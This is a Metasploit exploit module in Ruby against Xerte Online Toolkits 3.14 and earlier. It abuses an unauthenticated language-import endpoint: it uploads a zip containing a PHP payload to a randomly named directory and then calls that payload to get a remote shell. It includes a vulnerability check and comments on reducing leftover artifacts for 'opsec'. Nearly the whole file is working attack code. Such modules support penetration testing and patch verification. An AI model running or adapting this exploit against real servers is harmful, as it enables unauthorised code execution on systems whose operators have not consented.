##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Import Language',
        'Description' => %q{
          This module exploits an authentication bypass allowing arbitrary
          file upload in versions 3.14 and earlier to upload and execute a shell.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Brandon Lester',
        ],
        'References' => [
          ['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
          ['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
        ],
        'Privileged' => false,
        'Targets' => [
          [
            'PHP', {
              'Platform' => 'php',
              'Arch' => ARCH_PHP
            }
          ]
        ],
        'DisclosureDate' => '2025-08-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => [REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
      ]
    )
  end

  def check
    print_status('Performing check')
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
    })
    if res&.code == 200
      if res.body.include?('No valid language definition found in the file!')
        return Exploit::CheckCode::Vulnerable('Successfully verified unauthenticated file upload vulnerability')
      else
        return Exploit::CheckCode::Safe('The target is not vulnerable')
      end
    end
    return Exploit::CheckCode::Safe('The target is not vulnerable')
  end

  def http_send_command(_cmd)
    print_status("Calling shell at #{target_uri.path}/#{shell_location}/#{php_filename}")
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, "/#{shell_location}/#{php_filename}")
    })
    res
  end

  def upload_payload_zip
    zip = Rex::Zip::Archive.new
    # add the payload to the zip archive, under a pre-defined location.
    # this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
    # This has the added benefit of not needing to worry about the .htaccess restrictions.
    zip.add_file("#{shell_location}/#{php_filename}", payload.encoded)

    # add the zip archive to the post request
    mime = Rex::MIME::Message.new
    mime.add_part(zip.pack, 'application/zip', 'binary',
                  %(form-data; name="filenameuploaded"; filename="#{zip_filename}"))

    register_dirs_for_cleanup("../#{shell_location}")

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php'),
      'ctype' => "multipart/form-data; boundary=#{mime.bound}",
      'data' => mime.to_s
    )
  end

  def exploit
    upload_payload_zip
    print_status('Uploaded the zip')
    http_send_command(payload.encoded)
  end

  def php_filename
    @php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
  end

  def shell_location
    @shell_location ||= Rex::Text.rand_text_alpha(8) + 'languages'
  end

  def zip_filename
    @zip_filename ||= Rex::Text.rand_text_alpha(8) + 'languages.zip'
  end

end
